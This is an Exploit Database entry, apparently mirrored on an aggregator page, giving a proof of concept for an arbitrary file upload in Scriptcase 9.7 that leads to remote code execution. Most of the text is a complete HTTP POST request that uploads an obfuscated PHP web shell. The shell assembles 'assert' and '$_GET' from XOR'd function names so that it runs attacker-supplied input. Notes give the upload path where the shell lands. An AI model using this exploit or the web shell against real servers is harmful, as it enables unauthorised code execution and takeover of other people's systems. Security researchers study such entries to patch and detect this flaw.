Scriptcase 9.7 – Remote Code Execution (RCE)

• Exploit Database
• 16 阅读

• 作者： luckyt0mat0
  日期： 2022-04-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50872/

• # Exploit Title: Scriptcasr 9.7 arbitrary file upload getshell
  # Date: 2022-04-08
  # Exploit Author: luckyt0mat0
  # Vendor Homepage:https://www.scriptcase.net/
  # Software Link: https://www.scriptcase.net/download/
  # Version: 9.7
  # Tested on: Windows Server 2019
  
  # Proof of Concept:
  
  POST /scriptcase/devel/lib/third/jquery_plugin/jQuery-File-Upload/server/php/ HTTP/1.1
  Host: 10.50.1.214:8091
  Content-Length: 570
  Accept: application/json, text/javascript, */*; q=0.01
  X-Requested-With: XMLHttpRequest
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6gbgDzCQ2aZWm6iZ
  Origin: http://10.50.1.214:8091
  Referer: http://10.50.1.214:8091/scriptcase/devel/iface/app_template.php?randjs=MYxlp4xwCiIQBjy
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.9
  Cookie: sales1.scriptcase-_zldp=%2Blf8JBkbzCTGvnrypkRAEoy1%2BVW%2BpJL8Vv42yN%2FS02hog7eXhi2oz9sY2rJ5JXybCaUbPUvRWVc%3D; sales1.scriptcase-_zldt=6206f2cd-57fd-4e1d-99a8-b9a27c7b3421-2; PHPSESSID=be1281e8cde9348d284c3074c9bea53e; sc_actual_lang_samples=en_us
  Connection: close
  
  ------WebKitFormBoundary6gbgDzCQ2aZWm6iZ
  Content-Disposition: form-data; name="jqul_csrf_token"
  
  gZiFUw6nNw84D4euS8RJ3AQLz0o3Bo1Q24Kq1ufcJA8FjRCIeohe0gBZ34hXIW7M
  ------WebKitFormBoundary6gbgDzCQ2aZWm6iZ
  Content-Disposition: form-data; name="files[]"; filename="123.php"
  Content-Type: text/html
  
  <?php
  error_reporting(0);
  $a = rad2deg^(3).(2);
  $b = asin^(2).(6);
  $c = ceil^(1).(1);
  $exp = $a.$b.$c; //assert
  $pi=(is_nan^(6).(4)).(tan^(1).(5)); //_GET
  $pi=$$pi; //$_GET
  call_user_func($exp,$pi{0}($pi{1}));
  ?>
  ------WebKitFormBoundary6gbgDzCQ2aZWm6iZ———
  
  # Notes:
  - PHPSESSID is- be1281e8cde9348d284c3074c9bea53e
  - Upload path is - http://x.x.x.:8091/scriptcase/tmp/sc_tmp_upload_{{PHPSESSID}}/123.php